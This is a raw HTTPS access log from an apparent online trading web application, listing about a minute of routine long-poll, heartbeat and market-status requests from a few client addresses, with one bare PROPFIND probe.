[09/Jan/2026:15:12:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943008731 HTTP/1.1" -
[09/Jan/2026:15:12:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:12:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:12:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:12:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943008425 HTTP/1.1" -
[09/Jan/2026:15:12:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943025794 HTTP/1.1" -
[09/Jan/2026:15:12:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943018202 HTTP/1.1" -
[09/Jan/2026:15:12:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:12:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943013309 HTTP/1.1" -
[09/Jan/2026:15:12:24 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943013859 HTTP/1.1" -
[09/Jan/2026:15:12:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943013574 HTTP/1.1" -
[09/Jan/2026:15:12:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:12:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943030822 HTTP/1.1" -
[09/Jan/2026:15:12:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:12:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943023313 HTTP/1.1" -
[09/Jan/2026:15:12:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:12:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943018363 HTTP/1.1" -
[09/Jan/2026:15:12:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943018899 HTTP/1.1" -
[09/Jan/2026:15:12:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943018619 HTTP/1.1" -
[09/Jan/2026:15:12:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943035848 HTTP/1.1" -
[09/Jan/2026:15:12:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943028351 HTTP/1.1" -
[09/Jan/2026:15:12:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943023386 HTTP/1.1" -
[09/Jan/2026:15:12:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943023967 HTTP/1.1" -
[09/Jan/2026:15:12:34 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:15:12:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:12:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943023687 HTTP/1.1" -
[09/Jan/2026:15:12:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943040915 HTTP/1.1" -
[09/Jan/2026:15:12:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:12:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943033426 HTTP/1.1" -
[09/Jan/2026:15:12:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943028426 HTTP/1.1" -
[09/Jan/2026:15:12:39 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943029097 HTTP/1.1" -
[09/Jan/2026:15:12:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943028894 HTTP/1.1" -
[09/Jan/2026:15:12:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943045941 HTTP/1.1" -
[09/Jan/2026:15:12:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943038537 HTTP/1.1" -
[09/Jan/2026:15:12:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943033450 HTTP/1.1" -
[09/Jan/2026:15:12:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:12:44 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943034133 HTTP/1.1" -
[09/Jan/2026:15:12:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943034100 HTTP/1.1" -
[09/Jan/2026:15:12:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943051002 HTTP/1.1" -
[09/Jan/2026:15:12:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943043633 HTTP/1.1" -
[09/Jan/2026:15:12:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943038473 HTTP/1.1" -
[09/Jan/2026:15:12:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:12:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:12:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943039259 HTTP/1.1" -
[09/Jan/2026:15:12:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:12:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943039233 HTTP/1.1" -
[09/Jan/2026:15:12:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943056063 HTTP/1.1" -
[09/Jan/2026:15:12:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943048668 HTTP/1.1" -
[09/Jan/2026:15:12:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:12:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943043522 HTTP/1.1" -
[09/Jan/2026:15:12:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943044299 HTTP/1.1" -
[09/Jan/2026:15:12:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943044419 HTTP/1.1" -
[09/Jan/2026:15:12:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:12:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943061088 HTTP/1.1" -
[09/Jan/2026:15:12:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:12:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943053772 HTTP/1.1" -
[09/Jan/2026:15:12:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:12:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:12:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943048556 HTTP/1.1" -
[09/Jan/2026:15:12:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943049376 HTTP/1.1" -
[09/Jan/2026:15:13:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943049465 HTTP/1.1" -
[09/Jan/2026:15:13:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943066114 HTTP/1.1" -
[09/Jan/2026:15:13:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943058809 HTTP/1.1" -
[09/Jan/2026:15:13:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943053577 HTTP/1.1" -
[09/Jan/2026:15:13:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943054476 HTTP/1.1" -
[09/Jan/2026:15:13:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:13:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943054523 HTTP/1.1" -
[09/Jan/2026:15:13:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:13:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943071175 HTTP/1.1" -
[09/Jan/2026:15:13:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943063873 HTTP/1.1" -
[09/Jan/2026:15:13:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943058604 HTTP/1.1" -
[09/Jan/2026:15:13:09 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943059620 HTTP/1.1" -
[09/Jan/2026:15:13:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943059653 HTTP/1.1" -
[09/Jan/2026:15:13:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943076237 HTTP/1.1" -
[09/Jan/2026:15:13:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943068968 HTTP/1.1" -
[09/Jan/2026:15:13:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:13:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:13:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
